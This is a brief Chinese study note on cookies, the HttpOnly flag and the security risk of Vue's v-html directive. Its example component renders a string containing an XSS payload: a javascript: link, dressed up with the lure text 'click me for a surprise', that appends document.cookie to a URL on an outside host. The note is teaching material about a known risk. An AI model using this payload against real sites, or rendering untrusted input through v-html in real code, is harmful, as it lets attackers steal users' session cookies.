什么是cookie?服务器返回的key-value形式的字符串,然后被浏览器保存下来了
只有HttpOnly未打钩的,才能被js获取;HttpOnly是后端设置的
v-htm的安全性隐患
<template>
<div class="profile">
<div v-html="str"></div>
</div>
</template>
<script>
export default {
data() {
return {
str: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>点我有惊喜!</a>'
}
},
}
</script>